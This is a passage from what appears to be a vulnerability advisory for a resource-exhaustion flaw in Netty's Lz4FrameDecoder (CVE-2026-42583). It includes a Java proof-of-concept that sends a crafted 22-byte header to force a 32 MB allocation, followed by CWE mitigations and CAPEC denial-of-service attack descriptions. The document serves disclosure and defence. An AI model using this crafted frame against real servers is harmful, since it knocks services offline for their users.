buf.writeLong(MAGIC_NUMBER);
buf.writeByte(BLOCK_TYPE_COMPRESSED | 0x0F);
buf.writeIntLE(1);
buf.writeIntLE(1 << 25);
buf.writeIntLE(0);
buf.writeByte(0);
ctx.writeAndFlush(buf);
ctx.fireChannelActive();
}
});
ChannelFuture clientChannel = client.connect(serverChannel.channel().localAddress()).sync();
assertTrue(latch.await(10, TimeUnit.SECONDS));
assertInstanceOf(IndexOutOfBoundsException.class, serverError.get());
clientChannel.channel().close();
serverChannel.channel().close();
} finally {
workerGroup.shutdownGracefully();
}
}
Impact
Untrusted senders without per-channel / aggregate limits can stress memory with many small requests.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 4.2.12.Final"
},
"package": {
"ecosystem": "Maven",
"name": "io.netty:netty-codec-compression"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "4.2.13.Final"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 4.1.132.Final"
},
"package": {
"ecosystem": "Maven",
"name": "io.netty:netty-codec"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "4.1.133.Final"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-42583"
],
"database_specific": {
"cwe_ids": [
"CWE-400",
"CWE-770"
],
"github_reviewed": true,
"github_reviewed_at": "2026-05-07T00:20:35Z",
"nvd_published_at": "2026-05-13T19:17:23Z",
"severity": "HIGH"
},
"details": "### Summary\nLz4FrameDecoder allocates a ByteBuf of size `decompressedLength` (up to 32 MB per block) before LZ4 runs. A peer only needs a 21-byte header plus `compressedLength` payload bytes - 22 bytes if `compressedLength == 1` - to force that allocation.\n\n### Details\nio.netty.handler.codec.compression.Lz4FrameDecoder#decode\nHeader fields are trusted for sizing. On the compressed path, after `readableBytes \u003e= compressedLength`, the decoder does `ctx.alloc().buffer(decompressedLength, decompressedLength)` then decompresses.\n\n### PoC\nThe test below demonstrates how an attacker sending 22 bytes will force the server to allocate 32MB\n\n```java\n @Test\n void test() throws Exception {\n EventLoopGroup workerGroup = new MultiThreadIoEventLoopGroup(NioIoHandler.newFactory());\n try {\n AtomicReference\u003cThrowable\u003e serverError = new AtomicReference\u003c\u003e();\n CountDownLatch latch = new CountDownLatch(1);\n\n ServerBootstrap server = new ServerBootstrap()\n .group(workerGroup)\n .channel(NioServerSocketChannel.class)\n .childHandler(new ChannelInitializer\u003cSocketChannel\u003e() {\n @Override\n protected void initChannel(SocketChannel ch) {\n ch.pipeline()\n .addLast(new Lz4FrameDecoder())\n .addLast(new ChannelInboundHandlerAdapter() {\n @Override\n public void exceptionCaught(ChannelHandlerContext ctx, Throwable cause) {\n if (cause instanceof DecoderException) {\n serverError.set(cause.getCause());\n } else {\n serverError.set(cause);\n }\n latch.countDown();\n }\n });\n }\n });\n\n ChannelFuture serverChannel = server.bind(0).sync();\n\n Bootstrap client = new Bootstrap()\n .group(workerGroup)\n .channel(NioSocketChannel.class)\n .handler(new ChannelInboundHandlerAdapter() {\n @Override\n public void channelActive(ChannelHandlerContext ctx) {\n ByteBuf buf = ctx.alloc().buffer(22, 22);\n buf.writeLong(MAGIC_NUMBER);\n buf.writeByte(BLOCK_TYPE_COMPRESSED | 0x0F);\n buf.writeIntLE(1);\n buf.writeIntLE(1 \u003c\u003c 25);\n buf.writeIntLE(0);\n buf.writeByte(0);\n\n ctx.writeAndFlush(buf);\n\n ctx.fireChannelActive();\n }\n });\n\n ChannelFuture clientChannel = client.connect(serverChannel.channel().localAddress()).sync();\n\n assertTrue(latch.await(10, TimeUnit.SECONDS));\n\n assertInstanceOf(IndexOutOfBoundsException.class, serverError.get());\n\n clientChannel.channel().close();\n serverChannel.channel().close();\n } finally {\n workerGroup.shutdownGracefully();\n }\n }\n```\n\n### Impact\nUntrusted senders without per-channel / aggregate limits can stress memory with many small requests.",
"id": "GHSA-mj4r-2hfc-f8p6",
"modified": "2026-05-14T20:41:13Z",
"published": "2026-05-07T00:20:35Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/netty/netty/security/advisories/GHSA-mj4r-2hfc-f8p6"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-42583"
},
{
"type": "PACKAGE",
"url": "https://github.com/netty/netty"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "Netty Lz4FrameDecoder is vulnerable to resource exhaustion "
}
Mitigation
Clearly specify the minimum and maximum expectations for capabilities, and dictate which behaviors are acceptable when resource allocation reaches limits.
Mitigation
Limit the amount of resources that are accessible to unprivileged users. Set per-user limits for resources. Allow the system administrator to define these limits. Be careful to avoid CWE-410.
Mitigation
Design throttling mechanisms into the system architecture. The best protection is to limit the amount of resources that an unauthorized user can cause to be expended. A strong authentication and access control model will help prevent such attacks from occurring in the first place, and it will help the administrator to identify who is committing the abuse. The login application should be protected against DoS attacks as much as possible. Limiting the database access, perhaps by caching result sets, can help minimize the resources expended. To further limit the potential for a DoS attack, consider tracking the rate of requests received from users and blocking requests that exceed a defined rate threshold.
Mitigation MIT-5
Strategy: Input Validation
- Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.
- When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."
- Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.
Mitigation MIT-15
For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.
Mitigation
- Mitigation of resource exhaustion attacks requires that the target system either:
- The first of these solutions is an issue in itself though, since it may allow attackers to prevent the use of the system by a particular valid user. If the attacker impersonates the valid user, they may be able to prevent the user from accessing the server in question.
- The second solution can be difficult to effectively institute -- and even when properly done, it does not provide a full solution. It simply requires more resources on the part of the attacker.
- recognizes the attack and denies that user further access for a given amount of time, typically by using increasing time delays
- uniformly throttles all requests in order to make it more difficult to consume resources more quickly than they can again be freed.
Mitigation
Ensure that protocols have specific limits of scale placed on them.
Mitigation MIT-38.1
- If the program must fail, ensure that it fails gracefully (fails closed). There may be a temptation to simply let the program fail poorly in cases such as low memory conditions, but an attacker may be able to assert control before the software has fully exited. Alternately, an uncontrolled failure could cause cascading problems with other downstream components; for example, the program could send a signal to a downstream process so the process immediately knows that a problem has occurred and has a better chance of recovery.
- Ensure that all failures in resource allocation place the system into a safe posture.
Mitigation MIT-47
Strategy: Resource Limitation
- Use quotas or other resource-limiting settings provided by the operating system or environment. For example, when managing system resources in POSIX, setrlimit() can be used to set limits for certain types of resources, and getrlimit() can determine how many resources are available. However, these functions are not available on all operating systems.
- When the current levels get close to the maximum that is defined for the application (see CWE-770), then limit the allocation of further resources to privileged users; alternately, begin releasing resources for less-privileged users. While this mitigation may protect the system from attack, it will not necessarily stop attackers from adversely impacting other users.
- Ensure that the application performs the appropriate error checks and error handling in case resources become unavailable (CWE-703).
CAPEC-125: Flooding
An adversary consumes the resources of a target by rapidly engaging in a large number of interactions with the target. This type of attack generally exposes a weakness in rate limiting or flow. When successful this attack prevents legitimate users from accessing the service and can cause the target to crash. This attack differs from resource depletion through leaks or allocations in that the latter attacks do not rely on the volume of requests made to the target but instead focus on manipulation of the target's operations. The key factor in a flooding attack is the number of requests the adversary can make in a given period of time. The greater this number, the more likely an attack is to succeed against a given target.
CAPEC-130: Excessive Allocation
An adversary causes the target to allocate excessive resources to servicing the attackers' request, thereby reducing the resources available for legitimate services and degrading or denying services. Usually, this attack focuses on memory allocation, but any finite resource on the target could be the attacked, including bandwidth, processing cycles, or other resources. This attack does not attempt to force this allocation through a large number of requests (that would be Resource Depletion through Flooding) but instead uses one or a small number of requests that are carefully formatted to force the target to allocate excessive resources to service this request(s). Often this attack takes advantage of a bug in the target to cause the target to allocate resources vastly beyond what would be needed for a normal request.
CAPEC-147: XML Ping of the Death
An attacker initiates a resource depletion attack where a large number of small XML messages are delivered at a sufficiently rapid rate to cause a denial of service or crash of the target. Transactions such as repetitive SOAP transactions can deplete resources faster than a simple flooding attack because of the additional resources used by the SOAP protocol and the resources necessary to process SOAP messages. The transactions used are immaterial as long as they cause resource utilization on the target. In other words, this is a normal flooding attack augmented by using messages that will require extra processing on the target.
CAPEC-197: Exponential Data Expansion
An adversary submits data to a target application which contains nested exponential data expansion to produce excessively large output. Many data format languages allow the definition of macro-like structures that can be used to simplify the creation of complex structures. However, this capability can be abused to create excessive demands on a processor's CPU and memory. A small number of nested expansions can result in an exponential growth in demands on memory.
CAPEC-229: Serialized Data Parameter Blowup
This attack exploits certain serialized data parsers (e.g., XML, YAML, etc.) which manage data in an inefficient manner. The attacker crafts an serialized data file with multiple configuration parameters in the same dataset. In a vulnerable parser, this results in a denial of service condition where CPU resources are exhausted because of the parsing algorithm. The weakness being exploited is tied to parser implementation and not language specific.
CAPEC-230: Serialized Data with Nested Payloads
Applications often need to transform data in and out of a data format (e.g., XML and YAML) by using a parser. It may be possible for an adversary to inject data that may have an adverse effect on the parser when it is being processed. Many data format languages allow the definition of macro-like structures that can be used to simplify the creation of complex structures. By nesting these structures, causing the data to be repeatedly substituted, an adversary can cause the parser to consume more resources while processing, causing excessive memory consumption and CPU utilization.
CAPEC-231: Oversized Serialized Data Payloads
An adversary injects oversized serialized data payloads into a parser during data processing to produce adverse effects upon the parser such as exhausting system resources and arbitrary code execution.
CAPEC-469: HTTP DoS
An attacker performs flooding at the HTTP level to bring down only a particular web application rather than anything listening on a TCP/IP connection. This denial of service attack requires substantially fewer packets to be sent which makes DoS harder to detect. This is an equivalent of SYN flood in HTTP. The idea is to keep the HTTP session alive indefinitely and then repeat that hundreds of times. This attack targets resource depletion weaknesses in web server software. The web server will wait to attacker's responses on the initiated HTTP sessions while the connection threads are being exhausted.
CAPEC-482: TCP Flood
An adversary may execute a flooding attack using the TCP protocol with the intent to deny legitimate users access to a service. These attacks exploit the weakness within the TCP protocol where there is some state information for the connection the server needs to maintain. This often involves the use of TCP SYN messages.
CAPEC-486: UDP Flood
An adversary may execute a flooding attack using the UDP protocol with the intent to deny legitimate users access to a service by consuming the available network bandwidth. Additionally, firewalls often open a port for each UDP connection destined for a service with an open UDP port, meaning the firewalls in essence save the connection state thus the high packet nature of a UDP flood can also overwhelm resources allocated to the firewall. UDP attacks can also target services like DNS or VoIP which utilize these protocols. Additionally, due to the session-less nature of the UDP protocol, the source of a packet is easily spoofed making it difficult to find the source of the attack.
CAPEC-487: ICMP Flood
An adversary may execute a flooding attack using the ICMP protocol with the intent to deny legitimate users access to a service by consuming the available network bandwidth. A typical attack involves a victim server receiving ICMP packets at a high rate from a wide range of source addresses. Additionally, due to the session-less nature of the ICMP protocol, the source of a packet is easily spoofed making it difficult to find the source of the attack.
CAPEC-488: HTTP Flood
An adversary may execute a flooding attack using the HTTP protocol with the intent to deny legitimate users access to a service by consuming resources at the application layer such as web services and their infrastructure. These attacks use legitimate session-based HTTP GET requests designed to consume large amounts of a server's resources. Since these are legitimate sessions this attack is very difficult to detect.
CAPEC-489: SSL Flood
An adversary may execute a flooding attack using the SSL protocol with the intent to deny legitimate users access to a service by consuming all the available resources on the server side. These attacks take advantage of the asymmetric relationship between the processing power used by the client and the processing power used by the server to create a secure connection. In this manner the attacker can make a large number of HTTPS requests on a low provisioned machine to tie up a disproportionately large number of resources on the server. The clients then continue to keep renegotiating the SSL connection. When multiplied by a large number of attacking machines, this attack can result in a crash or loss of service to legitimate users.
CAPEC-490: Amplification
An adversary may execute an amplification where the size of a response is far greater than that of the request that generates it. The goal of this attack is to use a relatively few resources to create a large amount of traffic against a target server. To execute this attack, an adversary send a request to a 3rd party service, spoofing the source address to be that of the target server. The larger response that is generated by the 3rd party service is then sent to the target server. By sending a large number of initial requests, the adversary can generate a tremendous amount of traffic directed at the target. The greater the discrepancy in size between the initial request and the final payload delivered to the target increased the effectiveness of this attack.
CAPEC-491: Quadratic Data Expansion
An adversary exploits macro-like substitution to cause a denial of service situation due to excessive memory being allocated to fully expand the data. The result of this denial of service could cause the application to freeze or crash. This involves defining a very large entity and using it multiple times in a single entity substitution. CAPEC-197 is a similar attack pattern, but it is easier to discover and defend against. This attack pattern does not perform multi-level substitution and therefore does not obviously appear to consume extensive resources.
CAPEC-493: SOAP Array Blowup
An adversary may execute an attack on a web service that uses SOAP messages in communication. By sending a very large SOAP array declaration to the web service, the attacker forces the web service to allocate space for the array elements before they are parsed by the XML parser. The attacker message is typically small in size containing a large array declaration of say 1,000,000 elements and a couple of array elements. This attack targets exhaustion of the memory resources of the web service.
CAPEC-494: TCP Fragmentation
An adversary may execute a TCP Fragmentation attack against a target with the intention of avoiding filtering rules of network controls, by attempting to fragment the TCP packet such that the headers flag field is pushed into the second fragment which typically is not filtered.
CAPEC-495: UDP Fragmentation
An attacker may execute a UDP Fragmentation attack against a target server in an attempt to consume resources such as bandwidth and CPU. IP fragmentation occurs when an IP datagram is larger than the MTU of the route the datagram has to traverse. Typically the attacker will use large UDP packets over 1500 bytes of data which forces fragmentation as ethernet MTU is 1500 bytes. This attack is a variation on a typical UDP flood but it enables more network bandwidth to be consumed with fewer packets. Additionally it has the potential to consume server CPU resources and fill memory buffers associated with the processing and reassembling of fragmented packets.
CAPEC-496: ICMP Fragmentation
An attacker may execute a ICMP Fragmentation attack against a target with the intention of consuming resources or causing a crash. The attacker crafts a large number of identical fragmented IP packets containing a portion of a fragmented ICMP message. The attacker these sends these messages to a target host which causes the host to become non-responsive. Another vector may be sending a fragmented ICMP message to a target host with incorrect sizes in the header which causes the host to hang.
CAPEC-528: XML Flood
An adversary may execute a flooding attack using XML messages with the intent to deny legitimate users access to a web service. These attacks are accomplished by sending a large number of XML based requests and letting the service attempt to parse each one. In many cases this type of an attack will result in a XML Denial of Service (XDoS) due to an application becoming unstable, freezing, or crashing.